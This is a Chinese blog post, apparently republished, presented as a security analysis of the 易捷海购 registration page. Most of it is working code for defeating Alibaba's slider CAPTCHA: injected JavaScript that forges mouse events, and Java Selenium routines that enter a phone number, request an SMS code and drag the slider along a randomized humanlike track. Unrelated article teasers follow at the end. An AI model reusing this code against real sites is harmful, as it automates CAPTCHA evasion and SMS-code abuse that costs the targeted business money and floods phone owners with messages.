【易捷海购-注册安全分析报告】

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
    在这里插入图片描述
    所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 易捷海购PC 注册入口

简介:易捷国际简介
易捷国际是中石化易捷旗下专业跨境电商平台,前身为成立于2016年7月的“易捷海购”平台,以“搜罗全球,为美好生活加油”为品牌发展理念,为消费者提供优质贴心的跨境电商购物体验。
易捷国际主要通过组织开发及运营海外跨境商品,与中石化易捷非油品业务发展内外互补,致力打造中石化专业跨境商品进出口平台。面对激烈市场竞争,易捷国际一方面利用中石化(香港)公司独特地缘优势,通过全球开发及采购,为消费者带来“品正价宜”的海外原产地直供产品;另一方面依靠中石化易捷国内丰富线下资源,利用中石化三万家加油站及易捷便利店网络,融合线上线下非油品业务,实现流量综合开发及利用。

在这里插入图片描述

二、 安全性分析报告:

易捷海购采用的是阿里的滑动条,
阿里的滑动条设计高度重视用户体验,但安全方面存在一定的设计缺陷,前端将密钥显示出来,造成一定程度的安全漏洞,上报后并未引起重视,漏洞依据存在。
在这里插入图片描述

滑动条在页面嵌JS 就能过去 
<script>(function () {'use strict';/*** 休眠* [url=home.php?mod=space&uid=952169]@Param[/url] time    休眠时间,单位秒* @param desc* @returns {Promise<unknown>}*/function sleep(time, desc) {return new Promise(resolve => {//sleepsetTimeout(() => {console.log(desc, time, 's')resolve(time)}, Math.floor(time * 1000))})}/*** 监测节点是否存在* @param selector    CSS选择器* @param desc* @returns {Promise<unknown>}*/function obsHas(selector, desc) {return new Promise(resolve => {//obs nodelet timer = setInterval(() => {let target = document.querySelector(selector)if (!!target) {clearInterval(timer)console.log(desc, selector)resolve(selector)} else {return}}, 100)})}function slide(id) {var slider = document.getElementById(id),container = slider.parentNode;var rect = slider.getBoundingClientRect(),x0 = rect.x || rect.left,y0 = rect.y || rect.top,w = container.getBoundingClientRect().width,x1 = x0 + w,y1 = y0;var mousedown = document.createEvent("MouseEvents");mousedown.initMouseEvent("mousedown", true, true, window, 0,x0, y0, x0, y0, false, false, false, false, 0, null);slider.dispatchEvent(mousedown);var mousemove = document.createEvent("MouseEvents");mousemove.initMouseEvent("mousemove", true, true, window, 0,x1, y1, x1, y1, false, false, false, false, 0, null);slider.dispatchEvent(mousemove);}sleep(1,'sleep').then(() => obsHas('.nc_wrapper','has')).then(() => slide('nc_1_n1z'))
})();</script>

1. 模拟器交互


public RetEntity send(WebDriver driver, String areaCode, String phone) {RetEntity retEntity = new RetEntity();try {driver.get(INDEX_URL);// 输入手机号WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.xpath("//input[contains(@placeholder,'请输入手机号')]"), 10);phoneElemet.sendKeys(phone);Thread.sleep(1 * 1000);// 点击获取短信WebElement sendElemet = driver.findElement(By.className("get-code"));sendElemet.click();Thread.sleep(1 * 1000);AliClient.moveExec(driver, "nc_1_n1t", 280);Thread.sleep(1000);String gtInfo = sendElemet.getText();System.out.println("gtInfo=" + gtInfo);retEntity.setMsg(gtInfo);if (gtInfo.contains("秒后重试")) {retEntity.setRet(0);}return retEntity;} catch (Exception e) {System.out.println(e.toString());return null;}}

2. 模拟鼠标移动


public static boolean moveExec(WebDriver driver, String moveId, int distance) {try {// 获取滑动按钮WebElement moveElemet = ChromeDriverManager.waitElement(driver, By.id(moveId), 100);Actions actions = new Actions(driver);actions.moveToElement(moveElemet).perform();Thread.sleep(500);List<Integer> trackList = ActionMove.getTrack(distance);actions.clickAndHold(moveElemet).perform();// 按住鼠标左键不释放for (Integer moveInt : trackList) {actions.moveByOffset(moveInt, 0).perform();// 移动}actions.release(moveElemet).perform();// 释放鼠标左键// 滑动结果By langCntBy = By.className("nc-lang-cnt");WebElement langCntElemet = ChromeDriverManager.waitElement(driver, langCntBy, 50);String langCntInfo = (langCntElemet != null) ? langCntElemet.getText() : null;if (langCntInfo != null && langCntInfo.contains("验证通过")) {return true;} else {System.out.println("AliUtil.moveExec() langCntInfo=" + langCntInfo);return false;}} catch (Exception e) {System.out.println("AliClient.moveExec() e=" + e.toString());return false;}}

3. 轨迹生成(单轴通过)


/*** 根据距离获取滑动轨迹* * @param distance需要移动的距离* @return*/public static List<Integer> getTrack(int distance) {List<Integer> track = new ArrayList<Integer>();// 移动轨迹List<Integer[]> list = getXyTrack(distance);for (Integer[] m : list) {track.add(m[0]);}return track;}/*** 双轴轨道生成算法,主要实现平滑加速和减速* * @param distance* @return*/public static List<Integer[]> getXyTrack(int distance) {List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹try {int a = (int) (distance / 3.0) + random.nextInt(10);int h = 0, current = 0;// 已经移动的距离BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值BigDecimal move = null;// 每次循环移动的距离List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹boolean plus = true;Double t = 0.18, v = 0.00, v0;while (current <= distance) {h = random.nextInt(2);if (current > distance / 2) {h = h * -1;}v0 = v;v = v0 + a * t;move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速if (move.intValue() < 1)move = new BigDecimal(1L);if (plus) {track.add(new Integer[] { move.intValue(), h });} else {subList.add(0, new Integer[] { move.intValue(), h });}current += move.intValue();if (plus && current >= mid.intValue()) {plus = false;move = new BigDecimal(0L);v = 0.00;}}track.addAll(subList);int bk = current - distance;if (bk > 0) {for (int i = 0; i < bk; i++) {track.add(new Integer[] { -1, h });}}System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());return track;} catch (Exception e) {System.out.print(e.toString());return null;}}

4. 测试返回结果:

在这里插入图片描述

三 丶测试报告 :

在这里插入图片描述

四丶结语

易捷国际作为中石化易捷旗下专业跨境电商平台,大概是因为和阿里有战略合作层面的关系, 所以在选的不是常见的类似极验、腾讯等滑动拼图类产品, 阿里的产品由于过度重视用户体验, 简单的滑动条特别,模拟器只需要单轴的模拟轨道就可以通过, 说明阿里对轨迹的校验比较宽松,之前的分析显示,阿里主要是靠模拟器识别,如果这道关过了,就没有其它的防护措施了 。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/372619.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ffmpeg滤镜-drawtext-命令行

使用 FFmpeg 在视频上添加文字可以通过 drawtext 滤镜来实现。这个滤镜允许你指定字体、大小、颜色、位置等。 基本用法 以下命令将 "Hello, World!" 添加到视频的顶部左侧&#xff1a; ffmpeg -i input.mp4 -vf "drawtexttextHello, World\!:fontcolorwhite…

JAVA Tesseract OCR引擎

Tess4j是一个基于Tesseract OCR引擎的Java库, Tesseract库最初由惠普实验室于1985年开发&#xff0c;后来被Google收购并于2006年开源。识别效果不好&#xff0c;速度还慢&#xff0c;但是好早好早了。 一、POM依赖 <!--OCR识别https://digi.bib.uni-mannheim.de/tesserac…

14-26 剑和侠客 – 预训练模型三部曲3 – 机器人时代来临

概述 在第 1 部分和第 2 部分中&#xff0c;我们讨论了适用于文本和图像任务的预训练模型&#xff0c;并探索了当今常用的模型。我们分析了这些模型的架构以及如何将它们用于特定任务。实现 AGI 所需的两个主要支柱是语言理解和机器的视觉能力。有许多任务与这两种能力有关。 …

Syncthing一款开源去中心化和点对点文件同步工具

Syncthing&#xff1a;一款开源的文件同步工具&#xff0c;去中心化和点对点加密传输&#xff0c;支持多平台&#xff0c;允许用户在多个设备之间安全、灵活地同步和共享文件&#xff0c;无需依赖第三方云服务&#xff0c;特别适合高安全性和自主控制的文件同步场景。 &#x…

4. kvm存储虚拟化

kvm存储虚拟化 一、命令行工具管理虚拟磁盘1、查看虚拟磁盘2、添加磁盘3、删除磁盘 二、qcow2格式的磁盘文件1、创建磁盘文件2、差量镜像/快速创建虚机2.1 创建差量镜像2.2 准备配置文件2.3 创建虚拟机2.4 批量部署虚拟机 三、存储池 storage pool1、类型2、在线迁移2.1 规划后…

【基于R语言群体遗传学】-14-种群起源的相对似然

我们可以将预测的基因型比例视为在种群中看到一组特定等位基因的概率。如果种群在等位基因频率上存在差异&#xff0c;我们可以使用基因型来推断个体起源于每个种群的相对可能性。大家可以先看一下之前的博客&#xff1a;群体遗传学_tRNA做科研的博客-CSDN博客 种群起源的相对似…

pytest-yaml-sanmu(六):YAML数据驱动测试

如果说 pytest 中哪些标记使用得最多&#xff0c;那无疑是 parametrize 了&#xff0c; 它为用例实现了参数化测试的能力&#xff0c;进而实现了数据驱动测试的能力。 1. 使用标记 parametrize 的使用需要提高两个内容&#xff1a; 参数名 参数值 pytest 在执行用例时&…

javascript DOM BOM 笔记

Web API API的概念 API&#xff08;Application Programming Interface,应用程序编程接口&#xff09;是一些预先定义的函数&#xff0c;目的是提供应用程序与开发人员基于某软件或硬件得以访问一组例程的能力&#xff0c;而又无需访问源码&#xff0c;或理解内部工作机制的细…

el-scrollbar实现自动滚动到底部(AI聊天)

目录 项目背景 实现步骤 实现代码 完整示例代码 项目背景 chatGPT聊天消息展示滚动面板&#xff0c;每次用户输入提问内容或者ai进行流式回答时需要不断的滚动到底部确保展示最新的消息。 实现步骤 采用element ui 的el-scrollbar作为聊天消息展示组件。 通过操作dom来实…

高智能土壤养分检测仪:农业生产的科技新助力

在科技日新月异的今天&#xff0c;农业领域也迎来了革命性的变革。其中&#xff0c;高智能土壤养分检测仪作为现代农业的科技新助力&#xff0c;正逐渐改变着传统的农业生产方式&#xff0c;为农民带来了前所未有的便利与效益。 高智能土壤养分检测仪&#xff0c;是一款集高科技…

共筑智能未来 | 思腾合力闪耀2024世界人工智能大会(WAIC 2024)

在刚刚结束的2024世界人工智能大会暨人工智能全球治理高级别会议&#xff08;WAIC 2024&#xff09;上&#xff0c;思腾合力作为行业领先的人工智能基础架构解决方案提供商&#xff0c;凭借卓越的产品和解决方案&#xff0c;成为展会上的亮点之一。此次盛会不仅展示了全球人工智…

Android 性能优化之启动优化

文章目录 Android 性能优化之启动优化启动状态冷启动温启动热启动 耗时检测检测手段TraceView使用方式缺点 Systrace环境配置使用方式TraceView和Systrace比较 AOP统计耗时环境配置使用 优化白屏优化异步加载优化环境配置使用 延迟加载优化AppStartup 源码下载 Android 性能优化…

网站高性能架构设计——高性能缓存架构

从公众号转载&#xff0c;关注微信公众号掌握更多技术动态 --------------------------------------------------------------- 一、缓存基础 1.缓存简介 缓存提升性能的幅度&#xff0c;不只取决于存储介质的速度&#xff0c;还取决于缓存命中率。为了提高命中 率&#xff0c…

HarmonyOS Next应用开发之系统概述

一、鸿蒙系统概述 鸿蒙系统可以分为华为鸿蒙系统&#xff08;HUAWEI HarmonyOS&#xff09;和开源鸿蒙系统&#xff08;OpenHarmony&#xff09;&#xff0c;华为鸿蒙系统是基于OpenHarmony基础之上开发的商业版操作系统。他们二者的关系可以用下图来表示&#xff1a; 1.1、…

Linux 创建新虚拟机的全过程图解

一、创建新虚拟机 1.选择自定义 2.直接下一步 3.选择稍后安装 4.设置虚拟机名和安装位置 5.配置处理器&#xff08;处理器数量&#xff1a;4、每个处理器的内核&#xff1a;2&#xff09; 6. 内存选择 7.网络类型 8. IO控制器类型-默认推荐 9.磁盘类型-默认推荐 10.选择虚拟磁…

ubuntu下aarch64-linux-gnu(交叉编译) gdb/gdbserver

ubuntu下aarch64-linux-gnu(交叉编译) gdb/gdbserver gdb是一款开源的、强大的、跨平台的程序调试工具。主要用于在程序运行时对程序进行控制和检查&#xff0c;如设置断点、单步执行、查看变量值、修改内存数据等&#xff0c;从而帮助开发者定位和修复代码中的错误。 gdbserve…

Mysql 高性能索引

引言 索引是一种用于快速查询和检索数据的数据结构&#xff0c;其本质可以看成是一种排序好的数据结构。 常见的索引类型包括B-Tree索引、哈希索引、空间数据索引&#xff08;R-Tree&#xff09;、全文索引。 索引的类型 在MySQL中&#xff0c;索引是在 存储引擎层 而不是服…

论文总是写不好?这么向kimi提问再试试!【图文大全套】

学境思源&#xff0c;一键生成论文初稿&#xff1a; AcademicIdeas - 学境思源AI论文写作 你是否有这样的困惑&#xff1a;论文为什么总是达不到预期的高标准&#xff1f;写作过程中总感觉缺乏方向和灵感&#xff1f;在文献搜索和数据分析上耗费了大量时间却收获甚微&#xff…

原生APP开发的优势

原生APP开发是指使用特定的编程语言和开发工具&#xff0c;针对特定的操作系统平台进行开发的应用程序。相比于混合开发和Web开发&#xff0c;原生APP开发具有以下优势。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&#xff0c;欢迎交流合作。 1. 性能更优 原…

云教研应用:教育创新的技术引擎,驱动智慧教育新时代

在数字化飞速发展的时代&#xff0c;教育领域正经历着前所未有的变革。为了适应新时代的教育需求&#xff0c;提升教学质量与管理效率&#xff0c;我们推出了专为K12中小学校量身定制的管理解决方案系列。 今天&#xff0c;我们将以其中重要的应用——云教研应用为例&#xff…